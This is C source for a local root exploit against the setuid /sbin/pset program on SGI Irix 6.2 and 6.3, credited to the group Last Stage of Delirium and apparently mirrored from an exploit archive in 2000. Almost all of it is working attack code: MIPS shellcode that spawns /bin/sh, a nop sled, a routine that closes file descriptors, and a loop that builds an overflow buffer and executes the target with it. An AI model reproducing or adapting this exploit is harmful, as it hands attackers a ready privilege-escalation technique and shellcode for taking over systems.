/sbin/pset local exploit for Irix 6.2 and 6.3.
8cd67fc2075fb7fa9cdcb4d9c5b2a7e65e9b68ea269c58db2ff38f003c788c73
/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland *://lsd-pl.net/ #*/
/*## /sbin/pset #*/
#include <sys/fcntl.h>
#define NOPNUM 3324
#define ADRNUM 600
#define PCHNUM 200
#define ALLIGN 1
char closecode[]=
"\x24\x05\x01\xf0" /* li $a1,300+196 */
"\x24\x02\x03\xee" /* li $v0,1006 */
"\x20\xa4\xfe\xd4" /* addi $a0,$a1,-300 */
"\x03\xff\xff\xcc" /* syscall */
"\x28\xa6\x01\x30" /* slti $a2,$a1,300+4 */
"\x10\xc0\xff\xfb" /* beqz $a2,<closecode+4> */
"\x20\xa5\xff\xff" /* addi $a1,$a1,-1 */
;
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;
char nop[]="\x24\x0f\x12\x34";
main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],*b;
int i,d;
printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland //lsd-pl.net/\n");
printf("/sbin/pset for irix 6.2 6.3 IP:20,22,32\n\n");
for(i=0;i<196;i++){
open("/dev",O_RDONLY);
}
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+0x2900+32000;
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+0x2900;
b=buffer;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(closecode);i++) *b++=closecode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
*b=0;
execl("/sbin/pset",buffer,0);
}
/* www.hack.co.za [20 August 2000]*/